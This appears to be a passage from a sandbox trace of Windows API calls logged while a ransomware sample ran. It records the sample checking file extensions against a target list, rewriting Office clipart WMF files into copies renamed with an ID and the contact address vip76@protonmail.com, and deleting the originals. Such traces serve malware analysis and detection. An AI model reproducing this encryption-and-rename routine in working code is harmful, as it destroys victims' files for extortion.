	[0074.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.174] lstrlenW (lpString=".ppt") returned 4
	[0074.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0074.174] lstrlenW (lpString=".zip") returned 4
	[0074.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.174] lstrlenW (lpString=".rar") returned 4
	[0074.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.174] lstrlenW (lpString=".bz2") returned 4
	[0074.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.174] lstrlenW (lpString=".7z") returned 3
	[0074.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0074.175] lstrlenW (lpString=".dbf") returned 4
	[0074.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0074.175] lstrlenW (lpString=".1cd") returned 4
	[0074.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0074.175] lstrlenW (lpString=".jpg") returned 4
	[0074.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0074.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0074.175] lstrlenW (lpString=".doc") returned 4
	[0074.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.175] lstrlenW (lpString=".docx") returned 5
	[0074.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.175] lstrlenW (lpString=".pdf") returned 4
	[0074.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.175] lstrlenW (lpString=".xls") returned 4
	[0074.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.175] lstrlenW (lpString=".xlsx") returned 5
	[0074.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.175] lstrlenW (lpString=".ppt") returned 4
	[0074.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0074.175] lstrlenW (lpString=".zip") returned 4
	[0074.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.175] lstrlenW (lpString=".rar") returned 4
	[0074.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.175] lstrlenW (lpString=".bz2") returned 4
	[0074.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.175] lstrlenW (lpString=".7z") returned 3
	[0074.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0074.176] lstrlenW (lpString=".dbf") returned 4
	[0074.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0074.176] lstrlenW (lpString=".1cd") returned 4
	[0074.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0074.176] lstrlenW (lpString=".jpg") returned 4
	[0074.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.176] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.176] lstrlenW (lpString="BL00234_.WMF") returned 12
	[0074.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0074.572] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=9304) returned 1
	[0074.583] CloseHandle (hObject=0x37c) returned 1
	[0074.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220
	[0074.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0074.632] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.632] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0074.632] GetLastError () returned 0x0
	[0074.632] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x2458, lpOverlapped=0x0) returned 1
	[0074.677] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x2460, lpOverlapped=0x0) returned 1
	[0074.679] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.679] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.679] SetEndOfFile (hFile=0x394) returned 1
	[0074.689] CloseHandle (hObject=0x394) returned 1
	[0074.695] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.695] SetEndOfFile (hFile=0x37c) returned 1
	[0074.714] CloseHandle (hObject=0x37c) returned 1
	[0074.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1
	[0074.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0074.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0074.715] lstrlenW (lpString=".doc") returned 4
	[0074.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.715] lstrlenW (lpString=".docx") returned 5
	[0074.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.715] lstrlenW (lpString=".pdf") returned 4
	[0074.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.715] lstrlenW (lpString=".xls") returned 4
	[0074.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.715] lstrlenW (lpString=".xlsx") returned 5
	[0074.715] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.715] lstrlenW (lpString=".ppt") returned 4
	[0074.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0074.715] lstrlenW (lpString=".zip") returned 4
	[0074.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.715] lstrlenW (lpString=".rar") returned 4
	[0074.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.716] lstrlenW (lpString=".bz2") returned 4
	[0074.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.716] lstrlenW (lpString=".7z") returned 3
	[0074.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0074.716] lstrlenW (lpString=".dbf") returned 4
	[0074.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0074.716] lstrlenW (lpString=".1cd") returned 4
	[0074.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0074.716] lstrlenW (lpString=".jpg") returned 4
	[0074.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0074.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0074.716] lstrlenW (lpString=".doc") returned 4
	[0074.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.716] lstrlenW (lpString=".docx") returned 5
	[0074.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.716] lstrlenW (lpString=".pdf") returned 4
	[0074.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.716] lstrlenW (lpString=".xls") returned 4
	[0074.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.716] lstrlenW (lpString=".xlsx") returned 5
	[0074.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.717] lstrlenW (lpString=".ppt") returned 4
	[0074.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0074.717] lstrlenW (lpString=".zip") returned 4
	[0074.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.717] lstrlenW (lpString=".rar") returned 4
	[0074.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.717] lstrlenW (lpString=".bz2") returned 4
	[0074.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.717] lstrlenW (lpString=".7z") returned 3
	[0074.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0074.717] lstrlenW (lpString=".dbf") returned 4
	[0074.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0074.717] lstrlenW (lpString=".1cd") returned 4
	[0074.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0074.717] lstrlenW (lpString=".jpg") returned 4
	[0074.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.717] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.718] lstrlenW (lpString="BL00262_.WMF") returned 12
	[0074.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0074.718] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2556) returned 1
	[0074.718] CloseHandle (hObject=0x37c) returned 1
	[0074.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220
	[0074.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0074.719] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.719] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0074.720] GetLastError () returned 0x0
	[0074.720] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x9fc, lpOverlapped=0x0) returned 1
	[0074.721] WriteFile (in: hFile=0x33c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xa00, lpOverlapped=0x0) returned 1
	[0074.723] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.723] WriteFile (in: hFile=0x33c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.723] SetEndOfFile (hFile=0x33c) returned 1
	[0074.723] CloseHandle (hObject=0x33c) returned 1
	[0074.724] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.724] SetEndOfFile (hFile=0x37c) returned 1
	[0074.725] CloseHandle (hObject=0x37c) returned 1
	[0074.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1
	[0074.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0074.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0074.726] lstrlenW (lpString=".doc") returned 4
	[0074.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.726] lstrlenW (lpString=".docx") returned 5
	[0074.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.726] lstrlenW (lpString=".pdf") returned 4
	[0074.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.726] lstrlenW (lpString=".xls") returned 4
	[0074.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.726] lstrlenW (lpString=".xlsx") returned 5
	[0074.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.726] lstrlenW (lpString=".ppt") returned 4
	[0074.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0074.726] lstrlenW (lpString=".zip") returned 4
	[0074.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.726] lstrlenW (lpString=".rar") returned 4
	[0074.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.727] lstrlenW (lpString=".bz2") returned 4
	[0074.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.727] lstrlenW (lpString=".7z") returned 3
	[0074.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0074.727] lstrlenW (lpString=".dbf") returned 4
	[0074.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0074.727] lstrlenW (lpString=".1cd") returned 4
	[0074.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0074.727] lstrlenW (lpString=".jpg") returned 4
	[0074.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0074.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0074.727] lstrlenW (lpString=".doc") returned 4
	[0074.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.727] lstrlenW (lpString=".docx") returned 5
	[0074.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.727] lstrlenW (lpString=".pdf") returned 4
	[0074.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.727] lstrlenW (lpString=".xls") returned 4
	[0074.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.727] lstrlenW (lpString=".xlsx") returned 5
	[0074.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.728] lstrlenW (lpString=".ppt") returned 4
	[0074.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0074.728] lstrlenW (lpString=".zip") returned 4
	[0074.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.728] lstrlenW (lpString=".rar") returned 4
	[0074.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.728] lstrlenW (lpString=".bz2") returned 4
	[0074.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.728] lstrlenW (lpString=".7z") returned 3
	[0074.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0074.728] lstrlenW (lpString=".dbf") returned 4
	[0074.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0074.728] lstrlenW (lpString=".1cd") returned 4
	[0074.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0074.728] lstrlenW (lpString=".jpg") returned 4
	[0074.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.728] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.729] lstrlenW (lpString="BL00265_.WMF") returned 12
	[0074.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0074.730] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=5752) returned 1
	[0074.730] CloseHandle (hObject=0x37c) returned 1
	[0074.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220
	[0074.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0074.730] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.730] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0074.731] GetLastError () returned 0x0
	[0074.731] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1678, lpOverlapped=0x0) returned 1
	[0074.733] WriteFile (in: hFile=0x33c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1680, lpOverlapped=0x0) returned 1
	[0074.734] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.734] WriteFile (in: hFile=0x33c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.735] SetEndOfFile (hFile=0x33c) returned 1
	[0074.735] CloseHandle (hObject=0x33c) returned 1
	[0074.736] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.736] SetEndOfFile (hFile=0x37c) returned 1
	[0074.737] CloseHandle (hObject=0x37c) returned 1
	[0074.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1
	[0074.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0074.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0074.738] lstrlenW (lpString=".doc") returned 4
	[0074.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.738] lstrlenW (lpString=".docx") returned 5
	[0074.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.738] lstrlenW (lpString=".pdf") returned 4
	[0074.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.738] lstrlenW (lpString=".xls") returned 4
	[0074.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.738] lstrlenW (lpString=".xlsx") returned 5
	[0074.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
